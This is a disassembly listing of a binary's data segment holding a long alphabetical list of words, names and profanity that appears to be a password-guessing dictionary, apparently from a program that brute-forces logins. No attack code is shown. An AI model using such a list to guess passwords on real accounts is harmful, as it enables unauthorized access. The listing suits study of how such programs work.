aFuck		db 'fuck',0             ; DATA XREF: seg001:0042CE5Co
		align 4
aFryguy		db 'fryguy',0           ; DATA XREF: seg001:0042CE58o
		align 10h
aFrog		db 'frog',0             ; DATA XREF: seg001:0042CE54o
		align 4
aFrighten	db 'frighten',0         ; DATA XREF: seg001:0042CE50o
		align 4
aFriends	db 'friends',0          ; DATA XREF: seg001:0042CE4Co
aFriend		db 'friend',0           ; DATA XREF: seg001:0042CE48o
		align 4
aFriday		db 'friday',0           ; DATA XREF: seg001:0042CE44o
		align 4
aFrench		db 'french',0           ; DATA XREF: seg001:0042CE40o
		align 4
aFreedom	db 'freedom',0          ; DATA XREF: seg001:0042CE3Co
aFree		db 'free',0             ; DATA XREF: seg001:0042CE38o
		align 4
aFred		db 'fred',0             ; DATA XREF: seg001:0042CE34o
		align 4
aFreak		db 'freak',0            ; DATA XREF: seg001:0042CE30o
		align 4
aFrank		db 'frank',0            ; DATA XREF: seg001:0042CE2Co
		align 4
aFrance		db 'france',0           ; DATA XREF: seg001:0042CE28o
		align 4
aFoxtrot	db 'foxtrot',0          ; DATA XREF: seg001:0042CE24o
aFourier	db 'fourier',0          ; DATA XREF: seg001:0042CE20o
aForsythe	db 'forsythe',0         ; DATA XREF: seg001:0042CE1Co
		align 10h
aFornicat	db 'fornicat',0         ; DATA XREF: seg001:0042CE18o
		align 4
aFormat		db 'format',0           ; DATA XREF: seg001:0042CE14o
		align 4
aForm		db 'form',0             ; DATA XREF: seg001:0042CE10o
		align 4
aForever	db 'forever',0          ; DATA XREF: seg001:0042CE0Co
aForesigh	db 'foresigh',0         ; DATA XREF: seg001:0042CE08o
		align 10h
aFord		db 'ford',0             ; DATA XREF: seg001:0042CE04o
		align 4
aForce		db 'force',0            ; DATA XREF: seg001:0042CE00o
		align 10h
aFootball	db 'football',0         ; DATA XREF: seg001:0042CDFCo
		align 4
aFoolproo	db 'foolproo',0         ; DATA XREF: seg001:0042CDF8o
		align 4
aFool		db 'fool',0             ; DATA XREF: seg001:0042CDF4o
		align 10h
aFood		db 'food',0             ; DATA XREF: seg001:0042CDF0o
		align 4
aFlowers	db 'flowers',0          ; DATA XREF: seg001:0042CDECo
aFlower		db 'flower',0           ; DATA XREF: seg001:0042CDE8o
		align 4
aFlorida	db 'florida',0          ; DATA XREF: seg001:0042CDE4o
aFloat		db 'float',0            ; DATA XREF: seg001:0042CDE0o
		align 4
aFlakes		db 'flakes',0           ; DATA XREF: seg001:0042CDDCo
		align 10h
aFishers	db 'fishers',0          ; DATA XREF: seg001:0042CDD8o
aFirewall	db 'firewall',0         ; DATA XREF: seg001:0042CDD4o
		align 4
aFire		db 'fire',0             ; DATA XREF: seg001:0042CDD0o
		align 4
aFinite		db 'finite',0           ; DATA XREF: seg001:0042CDCCo
		align 4
aFile		db 'file',0             ; DATA XREF: sub_40CD3A+1C91o
					; sub_40CD3A+1CFCo ...
		align 4
aFight		db 'fight',0            ; DATA XREF: seg001:0042CDC4o
		align 4
aField		db 'field',0            ; DATA XREF: seg001:0042CDC0o
		align 4
aFidelity	db 'fidelity',0         ; DATA XREF: seg001:0042CDBCo
		align 4
aFerrari	db 'ferrari',0          ; DATA XREF: seg001:0042CDB8o
aFermat		db 'fermat',0           ; DATA XREF: seg001:0042CDB4o
		align 4
aFender		db 'fender',0           ; DATA XREF: seg001:0042CDB0o
		align 10h
aFelicia	db 'felicia',0          ; DATA XREF: seg001:0042CDACo
aFeds		db 'feds',0             ; DATA XREF: seg001:0042CDA8o
		align 10h
aFear		db 'fear',0             ; DATA XREF: seg001:0042CDA4o
		align 4
aFast		db 'fast',0             ; DATA XREF: seg001:0042CDA0o
		align 10h
aFart		db 'fart',0             ; DATA XREF: seg001:0042CD9Co
		align 4
aFaraday	db 'faraday',0          ; DATA XREF: seg001:0042CD98o
aFarad		db 'farad',0            ; DATA XREF: seg001:0042CD94o
		align 4
aFamily		db 'family',0           ; DATA XREF: seg001:0042CD90o
		align 10h
aFalse		db 'false',0            ; DATA XREF: seg001:0042CD8Co
		align 4
aFalcon		db 'falcon',0           ; DATA XREF: seg001:0042CD88o
		align 10h
aFaith		db 'faith',0            ; DATA XREF: seg001:0042CD84o
		align 4
aFairway	db 'fairway',0          ; DATA XREF: seg001:0042CD80o
aExtensio	db 'extensio',0         ; DATA XREF: seg001:0042CD7Co
		align 4
aExplosiv	db 'explosiv',0         ; DATA XREF: seg001:0042CD78o
		align 4
aExplorer	db 'explorer',0         ; DATA XREF: seg001:0042CD74o
		align 4
aExplore	db 'explore',0          ; DATA XREF: seg001:0042CD70o
aExplode	db 'explode',0          ; DATA XREF: seg001:0042CD6Co
aExpert		db 'expert',0           ; DATA XREF: seg001:0042CD68o
		align 4
aEvelyn		db 'evelyn',0           ; DATA XREF: seg001:0042CD64o
		align 4
aEuclid		db 'euclid',0           ; DATA XREF: seg001:0042CD60o
		align 4
aEternity	db 'eternity',0         ; DATA XREF: seg001:0042CD5Co
		align 4
aEstate		db 'estate',0           ; DATA XREF: seg001:0042CD58o
		align 10h
aEstablis	db 'establis',0         ; DATA XREF: seg001:0042CD54o
		align 4
aErsatz		db 'ersatz',0           ; DATA XREF: seg001:0042CD50o
		align 4
aErotic		db 'erotic',0           ; DATA XREF: seg001:0042CD4Co
		align 4
aErin		db 'erin',0             ; DATA XREF: seg001:0042CD48o
		align 4
aErika		db 'erika',0            ; DATA XREF: seg001:0042CD44o
		align 4
aErica		db 'erica',0            ; DATA XREF: seg001:0042CD40o
		align 4
aEric		db 'eric',0             ; DATA XREF: seg001:0042CD3Co
		align 4
aErenity	db 'erenity',0          ; DATA XREF: seg001:0042CD38o
aEnzyme		db 'enzyme',0           ; DATA XREF: seg001:0042CD34o
		align 4
aEnterpri	db 'enterpri',0         ; DATA XREF: seg001:0042CD30o
		align 4
aEnter		db 'enter',0            ; DATA XREF: seg001:0042CD2Co
		align 10h
aEnglish	db 'english',0          ; DATA XREF: seg001:0042CD28o
aEngland	db 'england',0          ; DATA XREF: seg001:0042CD24o
aEngineer	db 'engineer',0         ; DATA XREF: seg001:0042CD20o
		align 4
aEngine		db 'engine',0           ; DATA XREF: seg001:0042CD1Co
		align 4
aEnemy		db 'enemy',0            ; DATA XREF: seg001:0042CD18o
		align 4
aEmmanuel	db 'emmanuel',0         ; DATA XREF: seg001:0042CD14o
		align 4
aEmily		db 'emily',0            ; DATA XREF: seg001:0042CD10o
		align 10h
aEmerald	db 'emerald',0          ; DATA XREF: seg001:0042CD0Co
aEmail		db 'email',0            ; DATA XREF: seg001:0042CD08o
		align 10h
aEllen		db 'ellen',0            ; DATA XREF: seg001:0042CD04o
		align 4
aElizabet	db 'elizabet',0         ; DATA XREF: seg001:0042CD00o
		align 4
aElephant	db 'elephant',0         ; DATA XREF: seg001:0042CCFCo
		align 10h
aElectron	db 'electron',0         ; DATA XREF: seg001:0042CCF8o
		align 4
aElanor		db 'elanor',0           ; DATA XREF: seg001:0042CCF4o
		align 4
aElaine		db 'elaine',0           ; DATA XREF: seg001:0042CCF0o
		align 4
aEinstein	db 'einstein',0         ; DATA XREF: seg001:0042CCECo
		align 4
aEinsiein	db 'einsiein',0         ; DATA XREF: seg001:0042CCE8o
		align 4
aEileen		db 'eileen',0           ; DATA XREF: seg001:0042CCE4o
		align 4
aEiderdow	db 'eiderdow',0         ; DATA XREF: seg001:0042CCE0o
		align 4
aEgghead	db 'egghead',0          ; DATA XREF: seg001:0042CCDCo
aEdwina		db 'edwina',0           ; DATA XREF: seg001:0042CCD8o
		align 4
aEdwin		db 'edwin',0            ; DATA XREF: seg001:0042CCD4o
		align 10h
aEducatio	db 'educatio',0         ; DATA XREF: seg001:0042CCD0o
		align 4
aEducation	db 'education',0        ; DATA XREF: seg001:0042CCCCo
		align 4
aEdition	db 'edition',0          ; DATA XREF: seg001:0042CCC8o
aEdit		db 'edit',0             ; DATA XREF: seg001:0042CCC4o
		align 4
aEdinburg	db 'edinburg',0         ; DATA XREF: seg001:0042CCC0o
		align 4
aEdges		db 'edges',0            ; DATA XREF: seg001:0042CCBCo
		align 4
aEddie		db 'eddie',0            ; DATA XREF: seg001:0042CCB8o
		align 4
aEcho		db 'echo',0             ; DATA XREF: seg001:0042CCB4o
		align 4
aEatme		db 'eatme',0            ; DATA XREF: seg001:0042CCB0o
		align 4
aEasy		db 'easy',0             ; DATA XREF: seg001:0042CCACo
		align 4
aEasier		db 'easier',0           ; DATA XREF: seg001:0042CCA8o
		align 4
aEarth		db 'earth',0            ; DATA XREF: seg001:0042CCA4o
		align 4
aEagle		db 'eagle',0            ; DATA XREF: seg001:0042CCA0o
		align 4
aEager		db 'eager',0            ; DATA XREF: seg001:0042CC9Co
		align 4
aDyke		db 'dyke',0             ; DATA XREF: seg001:0042CC98o
		align 4
aDungeon	db 'dungeon',0          ; DATA XREF: seg001:0042CC94o
aDuncan		db 'duncan',0           ; DATA XREF: seg001:0042CC90o
		align 4
aDulce		db 'dulce',0            ; DATA XREF: seg001:0042CC8Co
		align 4
aDuke		db 'duke',0             ; DATA XREF: seg001:0042CC88o
		align 4
aDuelist	db 'duelist',0          ; DATA XREF: seg001:0042CC84o
aDude		db 'dude',0             ; DATA XREF: seg001:0042CC80o
		align 4
aDuck		db 'duck',0             ; DATA XREF: seg001:0042CC7Co
		align 4
aDrought	db 'drought',0          ; DATA XREF: seg001:0042CC78o
aDrive		db 'drive',0            ; DATA XREF: seg001:0042CC74o
		align 4
aDrdoom		db 'drdoom',0           ; DATA XREF: seg001:0042CC70o
		align 4
aDragon		db 'dragon',0           ; DATA XREF: seg001:0042CC6Co
		align 4
aDownload	db 'download',0         ; DATA XREF: seg001:0042CC68o
		align 4
aDope		db 'dope',0             ; DATA XREF: seg001:0042CC64o
		align 10h
aDoors		db 'doors',0            ; DATA XREF: seg001:0042CC60o
		align 4
aDoor		db 'door',0             ; DATA XREF: seg001:0042CC5Co
		align 10h
aDoonesbu	db 'doonesbu',0         ; DATA XREF: seg001:0042CC58o
		align 4
aDoomsday	db 'doomsday',0         ; DATA XREF: seg001:0042CC54o
		align 4
aDoomii		db 'doomii',0           ; DATA XREF: seg001:0042CC50o
		align 10h
aDoom2		db 'doom2',0            ; DATA XREF: seg001:0042CC4Co
		align 4
aDoom		db 'doom',0             ; DATA XREF: seg001:0042CC48o
		align 10h
aDong		db 'dong',0             ; DATA XREF: seg001:0042CC44o
		align 4
aDollar		db 'dollar',0           ; DATA XREF: seg001:0042CC40o
		align 10h
aDoctor		db 'doctor',0           ; DATA XREF: seg001:0042CC3Co
		align 4
aDisplay	db 'display',0          ; DATA XREF: seg001:0042CC38o
aDisney		db 'disney',0           ; DATA XREF: seg001:0042CC34o
		align 4
aDiskette	db 'diskette',0         ; DATA XREF: seg001:0042CC30o
		align 4
aDisk_0		db 'disk',0             ; DATA XREF: seg001:0042CC2Co
		align 4
aDiscover	db 'discover',0         ; DATA XREF: seg001:0042CC28o
		align 4
aDisclose	db 'disclose',0         ; DATA XREF: seg001:0042CC24o
		align 4
aDiscipli	db 'discipli',0         ; DATA XREF: seg001:0042CC20o
		align 10h
aDisc		db 'disc',0             ; DATA XREF: seg001:0042CC1Co
		align 4
aDirty		db 'dirty',0            ; DATA XREF: seg001:0042CC18o
		align 10h
aDirector	db 'director',0         ; DATA XREF: seg001:0042CC14o
		align 4
aDirect		db 'direct',0           ; DATA XREF: seg001:0042CC10o
		align 4
aDipshit	db 'dipshit',0          ; DATA XREF: seg001:0042CC0Co
aDinosaur	db 'dinosaur',0         ; DATA XREF: seg001:0042CC08o
		align 4
aDigital	db 'digital',0          ; DATA XREF: seg001:0042CC04o
aDieter		db 'dieter',0           ; DATA XREF: seg001:0042CC00o
		align 4
aDiet		db 'diet',0             ; DATA XREF: seg001:0042CBFCo
		align 10h
aDiehard	db 'diehard',0          ; DATA XREF: seg001:0042CBF8o
aDick		db 'dick',0             ; DATA XREF: seg001:0042CBF4o
		align 10h
aDice		db 'dice',0             ; DATA XREF: seg001:0042CBF0o
		align 4
aDiane		db 'diane',0            ; DATA XREF: seg001:0042CBECo
		align 10h
aDiana		db 'diana',0            ; DATA XREF: seg001:0042CBE8o
		align 4
aDiamond	db 'diamond',0          ; DATA XREF: seg001:0042CBE4o
aDial		db 'dial',0             ; DATA XREF: seg001:0042CBE0o
		align 4
aDevice		db 'device',0           ; DATA XREF: seg001:0042CBDCo
		align 10h
aDevelop	db 'develop',0          ; DATA XREF: seg001:0042CBD8o
aDesperat	db 'desperat',0         ; DATA XREF: seg001:0042CBD4o
		align 4
aDesktop	db 'desktop',0          ; DATA XREF: seg001:0042CBD0o
aDesk		db 'desk',0             ; DATA XREF: seg001:0042CBCCo
		align 4
aDesiree	db 'desiree',0          ; DATA XREF: seg001:0042CBC8o
aDennis		db 'dennis',0           ; DATA XREF: seg001:0042CBC4o
		align 4
aDenise		db 'denise',0           ; DATA XREF: seg001:0042CBC0o
		align 4
aDemocrat	db 'democrat',0         ; DATA XREF: seg001:0042CBBCo
		align 4
aDeluge		db 'deluge',0           ; DATA XREF: seg001:0042CBB8o
		align 10h
aDelta		db 'delta',0            ; DATA XREF: seg001:0042CBB4o
		align 4
aDefoe		db 'defoe',0            ; DATA XREF: seg001:0042CBB0o
		align 10h
aDefault_0	db 'DEFAULT',0          ; DATA XREF: seg001:0042CBACo
aDeck		db 'deck',0             ; DATA XREF: seg001:0042CBA4o
		align 10h
aDecember	db 'december',0         ; DATA XREF: seg001:0042CBA0o
		align 4
aDebug		db 'debug',0            ; DATA XREF: seg001:0042CB9Co
		align 4
aDeborah	db 'deborah',0          ; DATA XREF: seg001:0042CB98o
aDebbie		db 'debbie',0           ; DATA XREF: seg001:0042CB94o
		align 4
aDeathsta	db 'deathsta',0         ; DATA XREF: seg001:0042CB90o
		align 10h
aDead		db 'dead',0             ; DATA XREF: seg001:0042CB8Co
		align 4
aDawn		db 'dawn',0             ; DATA XREF: seg001:0042CB88o
		align 10h
aDave		db 'dave',0             ; DATA XREF: seg001:0042CB84o
		align 4
aData		db 'data',0             ; DATA XREF: seg001:0042CB80o
		align 10h
aDarkaven	db 'darkaven',0         ; DATA XREF: seg001:0042CB7Co
		align 4
aDark		db 'dark',0             ; DATA XREF: seg001:0042CB78o
		align 4
aDapper		db 'dapper',0           ; DATA XREF: seg001:0042CB74o
		align 4
aDanny		db 'danny',0            ; DATA XREF: seg001:0042CB70o
		align 4
aDanielle	db 'danielle',0         ; DATA XREF: seg001:0042CB6Co
		align 10h
aDaniel		db 'daniel',0           ; DATA XREF: seg001:0042CB68o
		align 4
aDancer		db 'dancer',0           ; DATA XREF: seg001:0042CB64o
		align 10h
aDana		db 'dana',0             ; DATA XREF: seg001:0042CB60o
		align 4
aDaisy		db 'daisy',0            ; DATA XREF: seg001:0042CB5Co
		align 10h
aDaemon		db 'daemon',0           ; DATA XREF: seg001:0042CB58o
		align 4
aCynthia	db 'cynthia',0          ; DATA XREF: seg001:0042CB54o
aCyberspa	db 'cyberspa',0         ; DATA XREF: seg001:0042CB50o
		align 4
aCyberpun	db 'cyberpun',0         ; DATA XREF: seg001:0042CB4Co
		align 4
aCyber		db 'cyber',0            ; DATA XREF: seg001:0042CB48o
		align 10h
aCustomer	db 'customer',0         ; DATA XREF: seg001:0042CB44o
		align 4
aCunt		db 'cunt',0             ; DATA XREF: seg001:0042CB40o
		align 4
aCshrc		db 'cshrc',0            ; DATA XREF: seg001:0042CB3Co
		align 4
aCrystal	db 'crystal',0          ; DATA XREF: seg001:0042CB38o
aCristina	db 'cristina',0         ; DATA XREF: seg001:0042CB34o
		align 10h
aCriminal	db 'criminal',0         ; DATA XREF: seg001:0042CB30o
		align 4
aCrime		db 'crime',0            ; DATA XREF: seg001:0042CB2Co
		align 4
aCretin		db 'cretin',0           ; DATA XREF: seg001:0042CB28o
		align 4
aCreosote	db 'creosote',0         ; DATA XREF: seg001:0042CB24o
		align 4
aCredit		db 'credit',0           ; DATA XREF: seg001:0042CB20o
		align 10h
aCreature	db 'creature',0         ; DATA XREF: seg001:0042CB1Co
		align 4
aCreation	db 'creation',0         ; DATA XREF: seg001:0042CB18o
		align 4
aCreate		db 'create',0           ; DATA XREF: seg001:0042CB14o
		align 10h
aCream		db 'cream',0            ; DATA XREF: seg001:0042CB10o
		align 4
aCrackpot	db 'crackpot',0         ; DATA XREF: seg001:0042CB0Co
		align 4
aCrack		db 'crack',0            ; DATA XREF: seg001:0042CB08o
		align 4
aCowboy		db 'cowboy',0           ; DATA XREF: seg001:0042CB04o
		align 4
aCouscous	db 'couscous',0         ; DATA XREF: seg001:0042CB00o
		align 10h
aCountry	db 'country',0          ; DATA XREF: seg001:0042CAFCo
aCounters	db 'counters',0         ; DATA XREF: seg001:0042CAF8o
		align 4
aCorrect	db 'correct',0          ; DATA XREF: seg001:0042CAF4o
aCorneliu	db 'corneliu',0         ; DATA XREF: seg001:0042CAF0o
		align 4
aCopy		db 'copy',0             ; DATA XREF: seg001:0042CAECo
		align 10h
aCops		db 'cops',0             ; DATA XREF: seg001:0042CAE8o
		align 4
aCopper		db 'copper',0           ; DATA XREF: seg001:0042CAE4o
		align 10h
aCooper		db 'cooper',0           ; DATA XREF: seg001:0042CAE0o
		align 4
aCool		db 'cool',0             ; DATA XREF: seg001:0042CADCo
		align 10h
aCookie		db 'cookie',0           ; DATA XREF: seg001:0042CAD8o
		align 4
aCookbook	db 'cookbook',0         ; DATA XREF: seg001:0042CAD4o
		align 4
aCook		db 'cook',0             ; DATA XREF: seg001:0042CAD0o
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_40CD3A+1EE6o
					; seg001:0042CACCo
		align 4
aConsole	db 'console',0          ; DATA XREF: seg001:0042CAC8o
aConserva	db 'conserva',0         ; DATA XREF: seg001:0042CAC4o
		align 4
aConnie		db 'connie',0           ; DATA XREF: seg001:0042CAC0o
		align 4
aCondom		db 'condom',0           ; DATA XREF: seg001:0042CAB8o
		align 4
aCondo		db 'condo',0            ; DATA XREF: seg001:0042CAB4o
		align 4
aComrades	db 'comrades',0         ; DATA XREF: seg001:0042CAB0o
		align 10h
aComrade	db 'comrade',0          ; DATA XREF: seg001:0042CAACo
aComputin	db 'computin',0         ; DATA XREF: seg001:0042CAA8o
		align 4
aCompany	db 'company',0          ; DATA XREF: seg001:0042CAA4o
aCommrade	db 'commrade',0         ; DATA XREF: seg001:0042CAA0o
		align 4
aCommit		db 'commit',0           ; DATA XREF: seg001:0042CA9Co
		align 10h
aComics		db 'comics',0           ; DATA XREF: seg001:0042CA98o
		align 4
aCombat		db 'combat',0           ; DATA XREF: seg001:0042CA94o
		align 10h
aColor		db 'color',0            ; DATA XREF: seg001:0042CA90o
		align 4
aCollins	db 'collins',0          ; DATA XREF: seg001:0042CA8Co
aCold		db 'cold',0             ; DATA XREF: seg001:0042CA88o
		align 4
aCola		db 'cola',0             ; DATA XREF: seg001:0042CA84o
		align 10h
aCoke		db 'coke',0             ; DATA XREF: seg001:0042CA80o
		align 4
aCoin		db 'coin',0             ; DATA XREF: seg001:0042CA7Co
		align 10h
aCoffee		db 'coffee',0           ; DATA XREF: seg001:0042CA78o
		align 4
aCodeword	db 'codeword',0         ; DATA XREF: seg001:0042CA74o
		align 4
aCodename	db 'codename',0         ; DATA XREF: seg001:0042CA70o
		align 10h
aCode		db 'code',0             ; DATA XREF: seg001:0042CA6Co
		align 4
aCock		db 'cock',0             ; DATA XREF: seg001:0042CA68o
		align 10h
aCocainco	db 'cocainco',0         ; DATA XREF: seg001:0042CA64o
		align 4
aCocacola	db 'cocacola',0         ; DATA XREF: seg001:0042CA60o
		align 4
aCoast		db 'coast',0            ; DATA XREF: seg001:0042CA5Co
		align 10h
aClusters	db 'clusters',0         ; DATA XREF: seg001:0042CA58o
		align 4
aCluster	db 'cluster',0          ; DATA XREF: seg001:0042CA54o
aClinton	db 'clinton',0          ; DATA XREF: seg001:0042CA50o
aCleavage	db 'cleavage',0         ; DATA XREF: seg001:0042CA4Co
		align 4
aClaymore	db 'claymore',0         ; DATA XREF: seg001:0042CA48o
		align 4
aClaudia	db 'claudia',0          ; DATA XREF: seg001:0042CA44o
aClassic	db 'classic',0          ; DATA XREF: seg001:0042CA40o
aClasses	db 'classes',0          ; DATA XREF: seg001:0042CA3Co
aClass		db 'class',0            ; DATA XREF: seg001:0042CA38o
		align 4
aCindy		db 'cindy',0            ; DATA XREF: seg001:0042CA34o
		align 4
aCigarett	db 'cigarett',0         ; DATA XREF: seg001:0042CA30o
		align 4
aCigar		db 'cigar',0            ; DATA XREF: seg001:0042CA2Co
		align 10h
aChristy	db 'christy',0          ; DATA XREF: seg001:0042CA28o
aChristin	db 'christin',0         ; DATA XREF: seg001:0042CA24o
		align 4
aChris		db 'chris',0            ; DATA XREF: seg001:0042CA20o
		align 4
aChip		db 'chip',0             ; DATA XREF: seg001:0042CA1Co
		align 4
aChester	db 'chester',0          ; DATA XREF: seg001:0042CA18o
aChess		db 'chess',0            ; DATA XREF: seg001:0042CA14o
		align 4
aChemistr	db 'chemistr',0         ; DATA XREF: seg001:0042CA10o
		align 10h
aChem		db 'chem',0             ; DATA XREF: seg001:0042CA0Co
		align 4
aChat_0		db 'chat',0             ; DATA XREF: seg001:0042CA08o
		align 10h
aCharon		db 'charon',0           ; DATA XREF: seg001:0042CA04o
		align 4
aCharming	db 'charming',0         ; DATA XREF: seg001:0042CA00o
		align 4
aCharlie	db 'charlie',0          ; DATA XREF: seg001:0042C9FCo
aCharles	db 'charles',0          ; DATA XREF: seg001:0042C9F8o
aCharity	db 'charity',0          ; DATA XREF: seg001:0042C9F4o
aChange		db 'change',0           ; DATA XREF: seg001:0042C9F0o
		align 4
aCerulean	db 'cerulean',0         ; DATA XREF: seg001:0042C9ECo
		align 10h
aCeltics	db 'celtics',0          ; DATA XREF: seg001:0042C9E8o
aCeltic		db 'celtic',0           ; DATA XREF: seg001:0042C9E4o
		align 10h
aCelt		db 'celt',0             ; DATA XREF: seg001:0042C9E0o
		align 4
aCecily		db 'cecily',0           ; DATA XREF: seg001:0042C9DCo
		align 10h
aCayuga		db 'cayuga',0           ; DATA XREF: seg001:0042C9D8o
		align 4
aCave		db 'cave',0             ; DATA XREF: seg001:0042C9D4o
		align 10h
aCathy		db 'cathy',0            ; DATA XREF: seg001:0042C9D0o
		align 4
aCatholic	db 'catholic',0         ; DATA XREF: seg001:0042C9CCo
		align 4
aCatherin	db 'catherin',0         ; DATA XREF: seg001:0042C9C8o
		align 10h
aCastle		db 'castle',0           ; DATA XREF: seg001:0042C9C4o
		align 4
aCash		db 'cash',0             ; DATA XREF: seg001:0042C9C0o
		align 10h
aCascades	db 'cascades',0         ; DATA XREF: seg001:0042C9BCo
		align 4
aCarson		db 'carson',0           ; DATA XREF: seg001:0042C9B8o
		align 4
aCarrie		db 'carrie',0           ; DATA XREF: seg001:0042C9B4o
		align 4
aCaroline	db 'caroline',0         ; DATA XREF: seg001:0042C9B0o
		align 4
aCarolina	db 'carolina',0         ; DATA XREF: seg001:0042C9ACo
		align 4
aCarole		db 'carole',0           ; DATA XREF: seg001:0042C9A8o
		align 4
aCarol		db 'carol',0            ; DATA XREF: seg001:0042C9A4o
		align 4
aCarmen		db 'carmen',0           ; DATA XREF: seg001:0042C9A0o
		align 4
aCarla		db 'carla',0            ; DATA XREF: seg001:0042C99Co
		align 4
aCaren		db 'caren',0            ; DATA XREF: seg001:0042C998o
		align 4
aCardinal	db 'cardinal',0         ; DATA XREF: seg001:0042C994o
		align 4
aCard		db 'card',0             ; DATA XREF: seg001:0042C990o
		align 10h
aCapture	db 'capture',0          ; DATA XREF: seg001:0042C98Co
aCaptain	db 'captain',0          ; DATA XREF: seg001:0042C988o
aCantor		db 'cantor',0           ; DATA XREF: seg001:0042C984o
		align 4
aCandy		db 'candy',0            ; DATA XREF: seg001:0042C980o
		align 10h
aCandi		db 'candi',0            ; DATA XREF: seg001:0042C97Co
		align 4
aCamping	db 'camping',0          ; DATA XREF: seg001:0042C978o
aCampanil	db 'campanil',0         ; DATA XREF: seg001:0042C974o
		align 4
aCamille	db 'camille',0          ; DATA XREF: seg001:0042C970o
aCaliforn	db 'californ',0         ; DATA XREF: seg001:0042C96Co
		align 10h
aButthead	db 'butthead',0         ; DATA XREF: seg001:0042C968o
		align 4
aButt		db 'butt',0             ; DATA XREF: seg001:0042C964o
		align 4
aButch		db 'butch',0            ; DATA XREF: seg001:0042C960o
		align 4
aBurn		db 'burn',0             ; DATA XREF: seg001:0042C95Co
		align 4
aBurgess	db 'burgess',0          ; DATA XREF: seg001:0042C958o
aBung		db 'bung',0             ; DATA XREF: seg001:0042C954o
		align 4
aBumbling	db 'bumbling',0         ; DATA XREF: seg001:0042C950o
		align 10h
aBullshit	db 'bullshit',0         ; DATA XREF: seg001:0042C94Co
		align 4
aBulls		db 'bulls',0            ; DATA XREF: seg001:0042C948o
		align 4
aBrutefor	db 'brutefor',0         ; DATA XREF: seg001:0042C944o
		align 10h
aBrute		db 'brute',0            ; DATA XREF: seg001:0042C940o
		align 4
aBrunette	db 'brunette',0         ; DATA XREF: seg001:0042C93Co
		align 4
aBrothel	db 'brothel',0          ; DATA XREF: seg001:0042C938o
aBroadway	db 'broadway',0         ; DATA XREF: seg001:0042C934o
		align 4
aBridget	db 'bridget',0          ; DATA XREF: seg001:0042C930o
aBrian		db 'brian',0            ; DATA XREF: seg001:0042C92Co
		align 4
aBrenda		db 'brenda',0           ; DATA XREF: seg001:0042C928o
		align 10h
aBreast		db 'breast',0           ; DATA XREF: seg001:0042C924o
		align 4
aBreak		db 'break',0            ; DATA XREF: seg001:0042C920o
		align 10h
aBravo		db 'bravo',0            ; DATA XREF: seg001:0042C91Co
		align 4
aBrandy		db 'brandy',0           ; DATA XREF: seg001:0042C918o
		align 10h
aBrandi		db 'brandi',0           ; DATA XREF: seg001:0042C914o
		align 4
aBradley	db 'bradley',0          ; DATA XREF: seg001:0042C910o
aBoyscout	db 'boyscout',0         ; DATA XREF: seg001:0042C90Co
		align 4
aBorn		db 'born',0             ; DATA XREF: seg001:0042C908o
		align 4
aBook		db 'book',0             ; DATA XREF: seg001:0042C904o
		align 4
aBoobs		db 'boobs',0            ; DATA XREF: seg001:0042C900o
		align 4
aBoob		db 'boob',0             ; DATA XREF: seg001:0042C8FCo
		align 4
aBoner		db 'boner',0            ; DATA XREF: seg001:0042C8F8o
		align 4
aBomb		db 'bomb',0             ; DATA XREF: seg001:0042C8F4o
		align 4
aBoard		db 'board',0            ; DATA XREF: seg001:0042C8F0o
		align 4
aBlues		db 'blues',0            ; DATA XREF: seg001:0042C8ECo
		align 4
aBlue		db 'blue',0             ; DATA XREF: seg001:0042C8E8o
		align 4
aBlowjob	db 'blowjob',0          ; DATA XREF: seg001:0042C8E4o
aBlow		db 'blow',0             ; DATA XREF: seg001:0042C8E0o
		align 4
aBloodaxe	db 'bloodaxe',0         ; DATA XREF: seg001:0042C8DCo
		align 10h
aBlood		db 'blood',0            ; DATA XREF: seg001:0042C8D8o
		align 4
aBlondie	db 'blondie',0          ; DATA XREF: seg001:0042C8D4o
aBlonde		db 'blonde',0           ; DATA XREF: seg001:0042C8D0o
		align 4
aBlack		db 'black',0            ; DATA XREF: seg001:0042C8CCo
		align 10h
aBitnet		db 'bitnet',0           ; DATA XREF: seg001:0042C8C8o
		align 4
aBitmap		db 'bitmap',0           ; DATA XREF: seg001:0042C8C4o
		align 10h
aBitch		db 'bitch',0            ; DATA XREF: seg001:0042C8C0o
		align 4
aBishop		db 'bishop',0           ; DATA XREF: seg001:0042C8BCo
		align 10h
aBird		db 'bird',0             ; DATA XREF: seg001:0042C8B8o
		align 4
aBios		db 'bios',0             ; DATA XREF: seg001:0042C8B4o
		align 10h
aBinary		db 'binary',0           ; DATA XREF: seg001:0042C8B0o
		align 4
aBill		db 'bill',0             ; DATA XREF: seg001:0042C8ACo
		align 10h
aBigfoot	db 'bigfoot',0          ; DATA XREF: seg001:0042C8A8o
aBicamera	db 'bicamera',0         ; DATA XREF: seg001:0042C8A4o
		align 4
aBible		db 'bible',0            ; DATA XREF: seg001:0042C8A0o
		align 4
aBeverly	db 'beverly',0          ; DATA XREF: seg001:0042C89Co
aBetty		db 'betty',0            ; DATA XREF: seg001:0042C898o
		align 4
aBetsie		db 'betsie',0           ; DATA XREF: seg001:0042C894o
		align 4
aBeth		db 'beth',0             ; DATA XREF: seg001:0042C890o
		align 4
aBeta		db 'beta',0             ; DATA XREF: seg001:0042C88Co
		align 4
aBeryl		db 'beryl',0            ; DATA XREF: seg001:0042C888o
		align 4
aBerliner	db 'berliner',0         ; DATA XREF: seg001:0042C884o
		align 4
aBerlin		db 'berlin',0           ; DATA XREF: seg001:0042C880o
		align 10h
aBerkeley	db 'berkeley',0         ; DATA XREF: seg001:0042C87Co
		align 4
aBeowulf	db 'beowulf',0          ; DATA XREF: seg001:0042C878o
aBenz		db 'benz',0             ; DATA XREF: seg001:0042C874o
		align 4
aBeloved	db 'beloved',0          ; DATA XREF: seg001:0042C870o
aBell		db 'bell',0             ; DATA XREF: seg001:0042C86Co
		align 4
aBehead		db 'behead',0           ; DATA XREF: seg001:0042C868o
		align 4
aBegin		db 'begin',0            ; DATA XREF: seg001:0042C864o
		align 4
aBeethove	db 'beethove',0         ; DATA XREF: seg001:0042C860o
		align 4
aBecky		db 'becky',0            ; DATA XREF: seg001:0042C85Co
		align 10h
aBeaver		db 'beaver',0           ; DATA XREF: seg001:0042C858o
		align 4
aBeauty		db 'beauty',0           ; DATA XREF: seg001:0042C854o
		align 10h
aBeater		db 'beater',0           ; DATA XREF: seg001:0042C850o
		align 4
aBeast		db 'beast',0            ; DATA XREF: seg001:0042C84Co
		align 10h
aBear		db 'bear',0             ; DATA XREF: seg001:0042C848o
		align 4
